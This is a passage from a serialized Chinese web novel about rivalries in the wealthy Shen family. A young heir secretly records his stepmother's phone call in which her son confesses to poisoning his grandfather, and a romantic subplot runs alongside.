沈眠枝,“如果可以的话,我还想当个分堂主。” 沈庄,“……” 两年前,沈眠枝问他要一个公平竞争的机会,原以为这孩子接触了暗堂后就会知难而退,没想到她不仅不怕,还越挫越勇。 沈庄皱眉,“学本事和当分堂主是两件事,你只能选择其一。” 沈眠枝想了想,眼神飘忽了一下,“那我还是当分堂主吧,当了分堂主就必须要学本事了。” “……”沈庄一时哭笑不得,转头看向姜花衫,“小花儿,你呢?可不能再说个让爷爷为难的了。” 姜花衫咧嘴一笑,“我什么都不要,只要爷爷平安健康。” …… 第416章 爬墙龟 回到菊园,姜花衫又开始头脑风暴,毫不夸张,这几天动的脑子比她这几年动的都多。 未免脑力枯竭,她还特意让张茹炖了核桃枸杞炖鸡汤补脑。 “到底先从谁开始排查呢?” 床尾的水晶吊灯倒映着她困惑不已的脸。 “咚咚——” 忽然,梳妆台前的木窗传来异响。 姜花衫以为是风声,偏头看了一眼也就没在意。 谁知,窗外的声音越来越响,等她意识到不对时,夏风送进阵阵花香,只见一道黑影极其敏捷从窗台翻身而下。 “!” 杀手? 姜花衫眉心跳了跳,张口准备呼救。 黑影却早已提前预知了她的范围,一个纵身跑到床边一巴掌捂着她的嘴。 “别喊,是我。” 微醺的橙光落进深邃无垠瑞凤眼,根根分明的睫羽如同半透明的金丝。 “……”姜花衫气极,单手抓住沈归灵的手一口咬下。 “嘶~”沈归灵痛的倒吸了一口凉气。 原以为他会生气,不想脑子里又开始叮咚叮咚。 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99.9n9%】 “……” 死变态! 忽然就要咬不下去了。 姜花衫一把甩开沈归灵的手,张口要喊。 沈归灵见状,只能用比刚刚更大的力捂着她的嘴巴,“我有很重要的事跟你商量,你要是惊动了其他人,可别怪我没提醒你。” 姜花衫眼珠转了转,斜睨看着他。 沈归灵微笑,“真的,不骗你。” 姜花衫权衡了片刻,抬了抬眼角,沈归灵勾着嘴角,一根一根抬起手指。 得了自由,姜花衫到底还是没忍住,怼道:“你不会走正门吗?什么歪风邪气?” 沈归灵,“爬窗不是更刺激吗?” “……”没完没了是吧? 眼看又要炸,沈归灵自觉收敛了笑意,从口袋里拿出一个小熊发箍,头绳的款式与她之前戴的几乎无异。 姜花衫看了一眼,一脸嫌弃,“什么?” 沈归灵,“信号器。” “信号器?”姜花衫顿时来了兴趣,“有什么用?” 沈归灵,“如果你察觉到危险,可以按下小熊的尾巴,这里面的信号器会同时开启定位追踪和录音模式。” 姜花衫眼神微变,“给我这个做什么?” “爷爷要对付周家和乔家,我担心沈家会有人趁乱对你不利,你拿着这个会安全一点。” “我不要。”姜花衫撇过头,一把推开沈归灵的手。 她有女主光环,怎么都死不了,再加上她还有一张保命底牌,沈归灵的担心实在是多虑了。 沈归灵垂眸看着掌心的小熊,就是防止她说不喜欢,这款式还是他按之前头绳上的小熊一比一开模做的。 “说完了?说完了就走吧。”姜花衫打着哈欠,一副没心没肺的样子。 沈归灵沉默片刻,收手握着发圈,抬眸打量她,“你在生气?” 姜花衫冷笑,“我没有,那点小事有什么好在意的?” 反正亲过了就不准再找她负责了。 沈归灵,“所以…我亲你,你一点都不在意?” 姜花衫眼皮跳了跳,顺口犟嘴,“有什么好在意的?我亲过这么多人,难不成每个都要在意?” 沈归灵指尖收拢,气氛忽然凝固。 姜花衫丝毫不惧,抬着下巴一脸挑衅。99鱼有什么好怕的?都是假把式。 沈归灵抬眸,眼神毫无情绪在她脸上游走,察觉到她眼眸里的有恃无恐,他笑了笑,俯身将人纳在身下,投覆的影子完全遮住了头顶的吊灯。 “你干嘛?!”姜花衫顿时警铃大作。 沈归灵垂眸,“既然你不在意,那我们就……” 他的眼神突然变得锋利,好似带刃的钩子,一边勾着她一边低头要吻。 姜花衫顿时头皮发麻,气的脚尖绷直,顾不得另一只手还夹着木板,用力推搡沈归灵的肩膀。 “沈归灵!” 沈归灵偏头,原本要落在嘴角的吻落空,吻过鬓角散落的青丝。 “看来还是很在意,你这么菜,装什么高深玩家?” “菜?”这句话可算是踢到铁板了,姜花衫抬头对着沈归灵的撞去。 以沈归灵的身手,跟她闹就跟逗小孩儿似的。 他毫不费劲抵着她的额头把人压进枕间,眉眼带着几分笑意,“说错了,是我菜。” 姜花衫看他眼里那股子浪荡气就来气,“起开。” 沈归灵犹豫片刻,拉过姜花衫的手,把发箍放进她的掌心。 “我知道你自己有能力,但多一层保障不是更安全吗?不管你想要做什么,总得先保全自己不是吗?” 姜花衫有些犹豫。 沈归灵直接用手掌包住她的掌心,“你怕和我有牵连?” 姜花衫眼皮跳了跳,“谁怕了?”只要她没道德,牵连了又怎么样? 沈归灵松手,语气温和,“不用怕,已经牵连了。” “……” 姜花衫闭了闭眼,看沈归灵这死样子,就知道他还没搞清楚到底是谁拿捏谁? 虽然她和沈归灵没有血缘关系,但是她以后还是要入族谱的,真跟他闹出什么,丢脸的是沈家。 都不稀得告诉他,要不是道德边界感拉住了她,她分分钟能把他钓成翘嘴。 懒得再跟鱼说话,姜花衫扶额,摆摆手,“你快走吧,到时候让人看见有嘴都说不清了。” 沈归灵丝毫不惧,但他也知道不能把人逼急了,“你自己小心点,沈家除了沈娇谁都不要相信。” 姜花衫白了他一眼,还用你说,我现在连你都不信。 沈归灵看出她一身反骨,抬了抬眉梢,转身翻窗跳下了绣楼。 姜花衫愣了愣,她的卧室可是二楼,墙外缠满了爬藤月季,连个搭手下脚的地方都没有。 先不说沈归灵怎么爬上来的,这么跳下去也不怕摔死?! “小姐。” 就在她疑惑不解时,门外忽然响起了张茹的声音。 姜花衫顺手将发箍塞进枕头底下,“进来。” 张茹推门而入,“小姐,这是刚刚高管家送过来的,说是兰晞少爷给您的。” “沈兰晞?”姜花衫一脸嗔怪,今天是怎么了?一个个都这么反常。 张茹递上信件,转头见梳妆台下窗户敞开着,立马上前关窗。 “奇怪,我明明记得晚间那会关了窗户呀?” 姜花衫盯着手里的信,眼皮都没抬,“最近风有点大,上把锁吧。” 哪有给窗户上锁的,张茹笑了笑,没有在意,用木销把窗固定好。 …… 第417章 背德之路 菊园侧门墙下,雷行顶着强烈的道德谴责颤巍巍扶着梯子,好不容易看见沈归灵翻身出来,才终于缓了一口气。 “少爷,你可算下来了,我刚刚看见高止往菊园正门去了,他没发现你吧?” 闻言,沈归灵往兰园方向看了一眼,“走吧,回去。” “是。”雷行局促搓了搓手。 到竹园,沈归灵转头直接回了主卧,留下雷行在水深火热里煎熬。 他现在总算是弄明白到底是怎么回事了? 敢情是:温柔善解人意的阿灵少爷对嚣张蛮横不讲理的姜小姐动了心? 这可怎么办? 这要是被老爷子发现了,阿灵少爷是会被抓去浸猪笼的! 雷行在院中急得团团转,最终抱着破釜沉舟的决心敲响了沈归灵的房门。 爬藤月季多有荆棘,沈归灵虽然已经小心翼翼,但胳臂还是扎进了不少细刺,他正在沙发上处理伤口,冷不丁听见敲门声,眼眸暗了暗,“进来。” 雷行推门而入,“少爷,衣服洗好了。” 沈归灵点头,雷行自觉走进衣帽间整理衣物。磨磨索索了半天,扭扭捏捏移步走到沈归灵跟前。 “阿灵少爷,您这么晚去见姜小姐,是不是白天去见不方便啊?” 沈归灵抬眸,神情从容看着他。 “……”雷行意识到自己问了个蠢问题,尴尬笑了笑,“我……我不是那个意思,我的意思是,有什么事白天去做不行,非得晚上?” 沈归灵放下胳膊,靠着沙发一言不发。 雷行头反手抽了自己一嘴巴,“少爷,我的意思是,您是不是对姜小姐有那个意思?” 沈归灵,“哪个?” 雷行表情尴尬,伸出双手做了个十指交叠摩擦的动作。 “……”沈归灵眼梢抬了抬,不敢说倒是敢做。 “没有。”他神色淡淡。 雷行顿时大喜,捂着胸口,少爷不会说谎的,原来是他这木脑袋想多了。 沈归灵又道,“我只是单纯喜欢她,还没想做什么。” 雷行刚刚愈合的心当场碎掉,一脸不可置信看着沈归灵。 喜欢她? “少……少爷,您……您糊涂啊!这么多人喜欢您,您怎么偏偏喜欢姜小姐,您和姜小姐是不可能的!” 沈归灵神色坦然,“所以呢?你打算怎么做?是帮我?还是向老爷子举报?” 他没有兴趣跟雷行讨论他和姜花衫有没有可能,他之所以对雷行坦白,是考虑到雷行已经慢慢渗入他的生活,若他想要赢的姜花衫的心,雷行是必定瞒不过的,与其日后防着雷行不如现在坦诚布公,正好也可以借机测试雷行对他的忠诚度。 雷行脸色微变,他当然不会向老爷子告密,少爷现在好不容易有出人头地的机会,如果让老爷子知道这件事,老爷子一定会认为是少爷勾引的姜小姐,到时候受罚的就只会是少爷。 可……若是他不阻止,少爷岂不是要走上背德这条不归路? 沈归灵见他左右为难,捏了捏眉心,“你不用急着回答,等想清楚了再决定也不迟。” “是。”雷行一脸愧疚,垂头丧气出了房间。 * 另一边,高止送完信转头回了兰园。 沈兰晞正坐在莲塘边的贵妃椅上喂食,听见动静,抬眸看了高止一眼,见他两手空空立马收回目光继续投喂。 高止一步一步靠近,“少爷,信送出去了。” “嗯。”沈兰晞面无表情。 高止在心里翻了个白眼,轻咳了一声,“那个,姜小姐有话让我带给少爷。” 沈兰晞眸光动了动,“她……说什么?” 高止,“姜小姐说,少爷的心意她收到了,礼物也收到了,她原谅你了。” 沈兰晞怔愣,“她真这么说?” 当然不是真的,高止去菊园送信的时候连姜花衫的面都没见到,但要是他如实回复,菜鸡少爷只怕接受不了打击,到时候遭殃的还是他。 高止代入姜花衫,谎话越说越溜,“千真万确,姜小姐还说,她其实不是生少爷你的气,她是生清予少爷和阿灵少爷的气,她知道少爷是有苦衷的,所以她不怪少爷。” 这下总归要哄好了吧? “她不生我的气?”沈兰晞细细想了一会儿,情绪莫名又冷了下来,“为什么她只气沈归灵和沈清予?她对我无动于衷?” 高止,“……” 沈兰晞垂眸,大手一挥直接把掌心的鱼食都撒了出去。 发脾气了? 高止攥紧拳头,赶紧找补,“也……也不是完全不生气,是看了少爷您的信之后才不气的,之前还是很生气的。姜小姐说,之前最讨厌的就是你。” 闻言,沈兰晞脸色缓和了一点,抬头看着夜幕的明月。 高止生怕菜鸡又找事,赶紧转移话题,,“少爷,灰鹰已经到鲸港了。” 沈兰晞眸光微怔,疏离的眼神多了几分锐气,“让他盯好沈澈。” 高止长舒了一口浊气,“那晚不是有两伙人吗?您怎么只盯着沈四先生?” 沈兰晞,“另一伙人是沈渊的安排。你以为沈清予什么会中枪?他又不是真的没脑子,要是沈渊没做什么出格的事,他会搞出这么大的动静?” 高止琢磨了一下,“那沈大先生呢?” 沈兰晞指尖轻轻叩打窗台,“他就更不足为虑了,我担心的另有其人。” 高止灵光一闪,“您担心阿灵少爷?” 沈兰晞抬眸,不由深看了高止一眼,“你也察觉了?” 能坐上议员长的位置,沈谦可不是庸人,沈归灵的刀都要伸到沈谦脖子上了,沈谦还被蒙在鼓里,能把他这位大伯玩弄鼓掌之间,足见沈归灵心思有多深。 不知道为什么,他总觉得沈归灵和沈园其他人不一样,他对沈园没有归属感。 这一眼认同可把高止高兴坏了,抬着脖子一脸得意。 可不得担心吗?阿灵少爷一看就很会谈恋爱,小菜鸡显然是担心自己没赢面。 …… 第 418章 南湾权柄 翌日清晨,天还没亮,菊园侧面就响起了叮叮哐哐的敲砸声。 姜花衫被吵醒,捂着被子不满大喊,“张妈!!!” “来了来了!别急啊,我去看看。” 张茹赶紧跑出院子查看情况。 这不看不要紧,一看还真把她吓了一跳。 侧门的院墙已经被砸出了一道口子,就连旁边的花径小路也被填了一半,路面堆着红砖砾石,几个师傅们穿着灰背心,正一铲一铲往搅拌机里放水泥。 张茹一脸懵逼,小跑上前,轻轻拍了拍工头的肩膀,“师傅,谁让你们在这砌墙的?” 搅拌机的声音太大,工头侧耳没听清楚,立马指挥同伴关了机器。 “你刚刚说什么?” 张茹指了指院子,“我是这间院子的管事,谁让你们大清早在这干活的?” 工头愣了愣,抓了抓脑袋,“不知道啊,我们也是按吩咐做事。” 另外一个削砖的师傅起身擦了擦汗,用乡音和工头说道,“就是昨天问我们借叉车那个。” “叉车?”张茹没大听懂,只听见叉车两个字立马联想到昨天沈兰晞带着一叉车礼物上门,她不禁纳闷,难不成是兰晞少爷? 工头见她没说话,又打算继续干活,张茹连忙劝阻,“师傅,你们这个时候做事吵着我家小姐休息了,这园子这么大,你们还是先去做其他事吧。” “这……”工头也知道在这园里住的都是贵人,不能轻易得罪,爽快应口,“好说。那我们赶小姐方便的时候。” 张茹,“我家小姐约莫十点之后才会起,午间两点到四点要休息,晚上就更不能吵了,小姐要冥想。” “啥子?”削砖的师傅一脸震惊,“你家小姐一天就三个小时方便?” 张茹已经习惯了姜花衫的生物钟,丝毫没觉得有什么不妥,“对啊。” 师傅看向工头,用家乡话吐槽,“这还砌个螺丝哟~” “闭嘴。”工头皱眉,肘击工友,抬头时又笑呵呵,“可以。就是……这墙都已经敲了一半了,要是不砌好,会不会不安全?” 张茹摆摆手,“有什么不安全的,这后院都是些贵人少爷,就是把这院墙拆了都安全。” 工头一听,连忙招呼其他人停工。 “辛苦大家了。” 张茹心里还惦记着厨房那锅汤,处理完师傅的事便转头回园,刚走到院门口就和沈执碰了个正着。 “沈管家?” 沈执面带微笑,抬眼看着侧门方向,修建墙体的材料摆了一堆,甚是惹眼。 张茹见状立马解释,“哦,工头师傅要扩外墙,我怕打扰姜小姐休息,让他们改时间再来。” 沈执听罢,点了点头便收回了目光。 张茹一脸热情,“您怎么来了?是不是老爷子有什么交代?” 沈执,“前院有个小孩儿哭着说要找你,我问了几句,她说是你的侄女。” 张茹脸色微变,“小葡萄?她怎么了?” 沈执摇头,“那孩子不肯说,只说要见你。我瞧着她脸上、胳膊上都有伤。” 张茹彻底乱了阵脚,“沈管家,我……我去看看?” 沈执点头,“我已经让人把她安排在偏远的小阁里,你去吧。” “多谢沈管家。”张茹急着要走,忽然想到什么,“我去跟姜小姐说一声。” 说罢,着急忙慌冲进厨房,手忙脚乱把灶台的汤盛进砂锅,又蹑手蹑脚上了绣楼,贴在窗缝仔细看了一会儿,确认姜花衫还在休息又蹑手蹑脚下了楼梯。 “沈管家,走吧。” 沈执沉默片刻,神色严肃,“小张,沈园的规矩你是知道的。你的家事要处理干净,下不为例。” 张茹擦了擦身上的围裙,满是感激,“多谢您提醒,放心吧,我知道的。” 这边菊园的门刚关上,对面竹园的门缓缓打开,雷行提着水壶走了出来。 沈执见状,穿过花庭往竹园走去。 雷行从出来就已经看见了沈执,原本他还想当做没看见转回去,但见沈执已经往这走了过来,只能硬着头皮招呼。 “沈管家。” 沈执点头,“阿灵少爷的伤怎么样了?” 沈归灵身上的鞭伤是沈执打的,虽说他也是奉命行事,但遇上了总要问候两句才不失体面。 雷行眼神闪烁,“挺好的。” 昨晚都可以爬墙了。 雷行这个人无趣、憨直,半天憋不出一个屁,沈执已经习惯了,打过招呼点了点头便出了内院。 雷行暗暗松了一口气,愁眉苦脸看向菊园的方向。 少爷喜欢姜小姐这是缺德,他到底该不该支持少爷缺德呢? 没等他想明白,莫然带着一沓资料登门。 * 三分钟后,正厅。 沈归灵接过一沓厚厚的资料,眼皮都没抬,顺手放在茶几上,“辛苦你还特意跑一趟。” 莫然的目光从桌上的资料慢慢转移到眼前的青年,刚刚她递交给沈归灵的是沈谦这几十年在南湾积累的所有资源人脉,这不仅仅是一份资料,而是一份权柄的转移。 沈归灵见她站着不动,眸光温润,“莫秘书还有事?” 莫然斟酌片刻,开口道,“少爷,那边知道少爷您将要启程南湾舰,一直吵着要见先生。” 沈归灵眼睑微动。 姚歌因为情绪失常被软禁在海湾公馆养病,两年来鲜少在公众场合露面。 她这个时候要见沈谦一定是想揭露他的真正身份。 当年他不过是在南湾做个宣传秘书,姚歌就气的差点失去理智,现在就更别说南湾舰了。 那个女人最受不了的就是他动沈年的东西。 沈归灵想了想,“父亲怎么说?” 姚歌,“先生因为议案一事脱不开身,眼下根本顾不上那位。” 力压议案一事开罪多方势力,沈谦为了防止后院起火一定会想办法安抚姚歌,现在顾不上,等忙过了必定会去见她。 如果姚歌说出事情真相,他一定会被赶出沈家的。 权衡片刻,沈归灵直接拨通了沈谦的电话。 沈谦那边因为议案问题已经焦头烂额,语气甚至疲惫,“阿灵?” “父亲,听说母亲想见您。” 姚歌早不闹晚不闹偏偏这个闹,为了什么,两人心知肚明。 不等沈谦开口,沈归灵率先道,“父亲,不如我先替您去见见母亲?” “你?”沈谦有些犹豫,姚歌现在恨不得沈归灵去死,他去不是火上浇油吗? 沈归灵慢条斯理变忠心,“父亲,爷爷很是看重这次的议案之争,这个时候您不能分心,您只需好好守着前线,后院的事我能处理好。” “你确定?那女人的性子可不好惹。” 察觉到沈谦有些意动,他继续趁热打铁,“解铃还须系铃人,母亲的癔症在于我?我去或许会比父亲有用。父亲可以让我试一试,若是不行,父亲您去。” 沈谦看着眼前堆积如山的案头,捏了捏眉心,“让莫然送你过去。” 沈归灵勾唇笑了笑,“好。” …… 第419章 反羞辱 海湾公馆。 姚歌披头散发,赤脚走在客厅里走来走去,这两年她的脾气越发暴躁,眉头的皱印越来越深。 “沈谦呢?他怎么还没有来?” 阿姨们早已习惯了她这癫态,小心躲在厨房不出声。 姚歌看了看墙上的大理石闹钟,眼里的情绪愈发狂暴,“你们到底有没有告诉沈谦?我问你们!” “叮咚——” 就在她濒临爆发时,屋里响起了门铃声。 姚歌眼里的暴怒立马转喜,迫不及待跑去开门,“沈……” 大门打开,映入眼帘的是那张她恨不得撕烂的脸。 姚歌目眦欲裂,情绪起伏剧烈,“怎么是你?!为什么是你!沈谦呢?” 莫然已经很久没见过姚歌了,一时很难把眼前疯女人和当年的第一夫人联系在一起。 她怔忡片刻,出声解释,“夫人,先生一时忙不开,是他让阿灵少爷来看您的。” “阿灵少爷?”姚歌冷笑,狠狠一巴掌打在莫然的脸上,“你叫他什么?他不过是个没名没姓的野种,也配做沈家少爷?” 雷行皱眉,正要说话,沈归灵抬手拦住,笑着走到姚歌面前,“夫人,好久不见。” 这句好久不见里的挑衅只有姚歌知道。 姚歌忽然冷静下来,眼里只剩麻木,“你来做什么?” 沈归灵,“来看看夫人,顺便和夫人聊聊近况。” 姚歌死死盯着他,沉默许久转身走进屋子。沈归灵笑着跟了进去,此时躲在厨房的阿姨们也偷偷跑了出来。 沈归灵回头看了莫然一眼,莫然会意,上前拦住阿姨,将屋子里的人都带了出去。 姚歌穿过客厅,顺手打开烟盒,抽出一根香烟点上。 她翘着二郎腿,睡裙的开叉撩到了大腿根,抬头吐烟圈的动作颓靡又优雅。 “怎么?怕我泄露你野种的身份,所以迫不及待想来灭口?” 此时的她与刚刚的疯态截然不同。 沈归灵丝毫没有意外,神色温润,“您还是沈家夫人,姚家这几年靠着乌兹金矿境况已经好转,我……还没这个胆敢在沈家的眼皮子底下动沈家的人。” “呵~”姚歌吐了一口烟圈,边笑边摇头,眸底毫无温度,“沈归灵啊沈归灵,当初你跪在我脚下摇尾乞怜的时候我就不该一时心软放了你。” 沈归灵,“夫人这样的人物怎么也喜欢忆当年?不如我们说说眼下?” “跟我谈眼下?”姚歌挑眸,目光在沈归灵身上来回打量,忽然,她笑着站起身,慢慢走到沈归灵跟前,“怎么,你长大了?会伺候人了吗?” 沈归灵脸色微变,温柔的眸底蓄了冰碴。 “哈?还是这么不禁逗。”姚歌垂眸,像打量一件商品看着他。 “当初我就是看你长的漂亮才把你送给那个贱人的。原想着把你调教成伺候人的娈童供人玩乐,这样可不比杀了那个贱人更有意思。是你跪着求我,说你能有更大的价值,说你能让那个贱人下场更凄凉,我才网开一面。” “那个贱人死后,我怜你有张好皮相,打算引你去富贵乡,谁知你野心更大,竟然守着私生子的身份不放想入沈园,那是阿年的东西,你也配?” “你还记得你答应过我什么吗?你说,只要你入了沈园就会任我驱使,助阿年回国。五年了……”姚歌抬手,对着沈归灵的头顶弹了弹烟灰,“你做到了哪样?” 烟蒂从他鼻尖落下,沈归灵一丝表情都没有。 这种落入泥潭的矜贵倒是少见,姚歌眼神忽然多了一丝兴味,夹着烟蒂的手缓缓摸向沈归灵的脸。 “难怪当初那么多人对你趋之若骛,还真是……” 沈归灵偏头,面无表情躲过脏手,“夫人若想利用男女之事牵扯我,也该换个人。”他缓缓抬眸,神色认真,“我对人老珠黄的丑女人没有兴趣。” 姚歌愣了愣,等反应过来时恼羞成怒,下意识抬手想要扇沈归灵。 但眼前的男人已经不是年幼的孩童了,沈归灵侧身扣住姚歌的手腕一把将她推了出去。 姚歌完全没想到他敢动手,一时不防栽倒在沙发里,带着火星的香烟落在了地毯上。 沈归灵顺手从桌上抽了一张纸巾擦手。 “沈归灵!你敢这么对我?别忘了你的身份?”姚歌从沙发上坐起来,披头散发怒吼,“只要我一句话,你现在所拥有的一切都会消失。” 沈归灵认真擦手,情绪稳定,“所以,我今天才特意来见夫人,想请夫人保守秘密。” “哈?”姚歌仿佛听到了什么天大的笑话,“就你现在这态度?” 沈归灵指尖一顿,偏头看向姚歌,“不然夫人希望我是什么态度?受你要挟,与你厮混,再亲手送你一个与后母淫乱的把柄?” 姚歌挑眉,高高在上揭开睡衣的领口,“你既然敢来见我,不是应该已经做好了准备吗?毕竟你也不是第一次求我了,应该很了解我的脾气。” 沈归灵摇头,“已经跟您说了很多遍了,我不喜欢老的,也不喜欢丑的。” “……”姚歌握拳,咬牙切齿,“你再说一遍。” 沈归灵,“再说几遍都一样,夫人难道都不照镜子吗?” …… 第420章 沈年 屋内的气氛一时降到了冰点。 对峙许久,姚歌冷笑出声,“好~果然是越会咬人的狗越会装,算我看走了眼。你既然这么有骨气,那就等着吧。等到穷途末路,我看你还能矜贵到什么时候?” 沈归灵将手里的纸巾揉成团放进兜里,语气寻常,“我与夫人还可以做别的交易。” 姚歌嗤笑了一声,抬着下巴指了指茶几上的烟盒,两指摆动。 沈归灵看了一眼,无动于衷。 还真是坏人变老了,到现在姚歌竟然还妄图掌控他,真是太天真了。 他气定神闲,“夫人是不想沈年回国了。” 姚歌神情骤变,眯眼打量沈归灵,“你如今在沈园顺风顺水,哪还会真心助阿年回国?” 所有人都知道沈年是她的软肋,姚歌自己也知道,所以即便沈归灵别有用意,但她也不会放弃任何机会。 沈归灵正是深谙这点才对姚歌的威胁有恃无恐。当年姚歌就是抓住了他的软肋,以舒沐做要挟,他才任由她驱使。 现在他的软肋已经化作铠甲,也该让姚歌尝尝他受过的滋味了。 沈归灵神色淡然,“沈园波诡云谲,并不如表面那般平静,你手里有我的把柄,于我而言始终是头上悬刀,我总得想办法把这刀取下来。” 姚歌并不上当,“这和阿年回国有什么关系?” 沈归灵,“当然有关系,他是夫人的软肋,有他做要挟,夫人就会乖乖守着秘密。” 姚歌当即又被挑起了怒火,没有人在听见有人拿自己孩子做威胁还能冷静。 “你算个什么东西,凭你也能威胁我?” 沈归灵转身走到离姚歌最远的沙发坐下,“夫人这几年装疯卖傻,不就是想博取老爷子的同情,为沈年回国铺路?只可惜,老爷子只动了一时的恻隐之心,就没了动静,夫人知道这是为什么吗?” 姚歌神色微顿,“你知道?” 沈归灵,“因为沈园多的是不想沈年回国的人,相比起来,我的立场反而没有他们那么坚定。我只要沈归灵的身份,只要能达成夙愿,沈年回不回来对我都没有影响,因为沈家的家业永远不可能落在一个私生子身上。至于其他人,可就不一定了。” 姚歌脸上的怒气渐消,眉宇间多了一丝慎重,她在沈家这么多年,自然知道几房之间的龃龉,也知道沈归灵说的话有几分可信。 事关沈年,她到底是没忍住,质问道,“你到底想说什么?” “只是想告诉夫人,不必心急,我与你之前的约定依然奏效,两年之内我一定能让沈年回国。” 八年间骨肉分离,姚歌做梦都想着能有团聚的一天。沈归灵提出两年之约顿然让她精神一震。 但欣喜过后,她立马又冷静了下来,“你会有这么好心?我凭什么相信你?难道你就不怕阿年回来我立马拆穿你?” 沈归灵摇头,“沈年是我的把柄,我怎么会怕?” 姚歌皱眉,“你什么意思?” 沈归灵看了她一眼,“听说当年,除了沈兰晞,沈年是爷爷最喜欢的孙子?” 提起当年,姚歌眼神怔忪。 她的孩子是沈家长孙,当初她生阿年的时候,老爷子在手术室外面守了一天,孩子出来沈庄也是第一个抱他的人。 若不是阿年当初受人蛊惑做出那等糊涂事,也不至于被冷落至此。 “当年沈年做的错事可不止高架伤人一事,夫人不知道吗?沈年曾偷偷在爷爷的茶里查毒,企图谋害爷爷。” 轰—— 这话一出,姚歌脸色煞白,信念的大山骤然崩塌,暴怒而起,“不可能!你个野种,竟然往阿年身上泼脏水!” 沈归灵淡定自若,“我初入沈园时,爷爷曾让孟医生给我注射抗毒疫苗,出于好奇,我曾私下与孟医生讨教,问过才知道,原来爷爷八年前曾中过毒,细节孟医生未曾提起,只说爷爷体内有抗体才幸免一难。” 老爷子中过毒,为什么他们不知道? 姚歌脸色凝重,一脸审视沈归灵。 “我凭什么相信你说的话,就算老爷子真的中过毒,跟阿年又有什么关系?你有什么证据?” 沈归灵,“我当然有证据,我手上有一份沈年亲口承认自己下毒的录音,你要是不信,不防给他打个电话?” 姚歌眼神凝重,下意识整理衣襟,慢慢坐直身子,“你要是敢骗我……” “骗不骗,夫人一个电话不就知道了,只不过人心隔肚皮,沈年连爷爷都敢杀,就怕他不跟你这个母亲说实话。” 姚歌咬牙,“你一个野种也配挑拨我和阿年的关系?” “夫人有信心就好。”沈归灵笑了笑,站起身,“谋害爷爷可是大罪,沈年为了遮掩自己,把下毒的事嫁祸给了高架案的其他家族,爷爷出于对他的信任并未怀疑他。你说,若是我把手上的证据交给爷爷,沈年这辈子还能回来吗?” 姚歌指尖微微收拢,深陷进柔软的皮革里。 目的已达到,沈归灵保持礼节点了点头,“我要说的就这么多,信不与不信全看夫人一念之间。” 他走到门口,忽然想到什么,侧头看向客厅的姚歌,眼里满是厌恶,“对了,我给夫人准备了一份礼物,还请夫人一定笑纳。” 姚歌抬眸,目光转过去的时候沈归灵的身影已经消失在了门的另一边。 “……” 没一会儿,房门再次打开,几个壮汉背一个体型巨大的重物走了进来,东西外包裹着一层黑色的布。 莫然指挥几人将东西放在客厅显眼处,表情机械,“夫人,这是阿灵少爷送您的礼物。” 不等姚歌回应,莫然又领着人走了出去。 姚歌转头看着这块黑布,全身的神经开始扩张,那黑布仿佛有种魔力,牵引着她一步一步靠近。 “唰”—— 黑布被掀开的瞬间,眼前忽然亮起一道反光。 客厅墙上矗立着一块巨大的镜子,它一丝不苟映照着眼前的人和物。 华丽富贵的客厅、精致闪烁的水晶还有被吸干了养分的女人。 姚歌看着镜子里的自己,脑海里忽然浮现出一个画面。 在满是镜子的房间里,她捏着一个男孩的脸,指着镜子里的他,缓缓道:“记住了,以前你是个没人要的野种,现在你就是我养的一只狗。” 蓦地,脑海里的画面如镜面碎裂。 男孩的稚嫩的脸有了棱角,“人老珠黄的丑女人。” “啊啊啊!” 姚歌情绪崩溃,死死抓着头皮,“这不是我!这不是我!” 她只是在装疯,等阿年回来她依旧是那个A国的第一夫人。 “阿年!阿年!” 姚歌涣散的眼神好似抓到了一把救命稻草,她手忙脚乱跑进房间,将房门紧锁,又把窗帘拉好,从枕下拿出自己的手机,浑身颤抖拨下了一通远洋电话。 “嘟——” 电话响了许久,那边才接通。 男人声音暗哑,带着几分漫不经心,“母亲……” …… 第421章 公主抱 莫然从海湾公馆出来,直接去了地下停车场,沈归灵已经坐上了车。 “少爷,东西已经送上去了。” “上车,回沈园。” 沈归灵关上窗户,戴上蓝牙耳机。 莫然点头上车,从后视镜偷偷打量沈归灵,见他神色自若盯着手机一直没反应,也识趣没有说话。 沈归灵指尖随便在手机屏幕点了点,手机系统立马跳到了另一个界面。 “那小子真这么说?” 耳机里传来一道嘶哑的声音,阴冷得就像被毒蛇爬过后的触感。 沈归灵垂眸,将耳机音量调到最大,顺手点下录音键。 姚歌声音明显有些慌乱,“阿年,那野种说的是不是真的?你……你真的对老爷子下过毒?” “是啊,只可惜老天不长眼,竟然让那老东西挺过去了。” 沈年的语气听不出任何忏悔,甚至还有些惋惜,“我不过就是撞死了几个人?那老东西竟然把我赶出A国,如果沈家不是他当家我就不用走,你说他该不该死?” “阿年……你……” 沈年当年只有十八岁,姚歌完全没想到他胆子竟然这么大,又气又急,“你太冲动了!现在怎么办?那个野种说有你下毒的证据,他要是把这件事告诉你爷爷,你这辈子就别想回来了。” 沈年沉默片刻冷冷道,“一个野种怕什么?他不是说有办法两年之内让我回来吗?你先跟他合作,不要激怒他,等我回来了再收拾他。” 姚歌应下,电话就此中断。 沈归灵点了点屏幕,将语音保存。 那日祠堂,老爷子的木盒里,正好有一份当年沈年下毒的证据。 姚歌和沈年千算万算怎么都不会想到,其实老爷子早就知道八年前的毒是沈年的手笔,他之所以这些年把沈年丢在S国不闻不问就是因为彻底寒了心。 这俩母子以己度人,所以认定老爷子如果知道真相,他们必然死路一条。殊不知,老爷子是明知沈年如此大逆不道还是留了他一条命。 沈归灵抬眸看向窗外。 不痴不聋不做阿家翁? 只可惜,您终究是错付了。 * 午间,苏妙又来看望姜花衫。 这次,她坐的是沈家的车,大包小包带了不少东西。 从两年前周绮姗去了313师,便一直没有消息,苏妙也曾去周家问过,但没有人关心。 313师属于机密部队,消息很难传递,听说沈兰晞要去313师,苏妙便想让沈兰晞帮忙带点的东西,顺便打听一下周绮珊的近况。 但沈兰晞这个人出了名的高冷,苏妙怕自己还没开口就被拒绝,所以另辟蹊径找到姜花衫帮忙。 姜花衫被她磨的没办法,拖着残躯应了口。 沈兰晞过两天就要走,这一去就是两个月,苏妙推着姜花衫进入兰园的时候,高止正指挥阿姨在打包行李。 “牛肉干、笋干、饼干、葡萄干都带上,统统装满。” 阿姨,“哎呀,这都是干,也不怕少爷划嗓子?再带点喝的?” 高止摆摆手,“不用,这都是我吃的,再带点核桃干。” 阿姨,“……” 满园子的人都在忙碌,一时没注意院里多了两个人,姜花衫清了清嗓子,“高管家,兰晞哥呢?” 稀客啊! 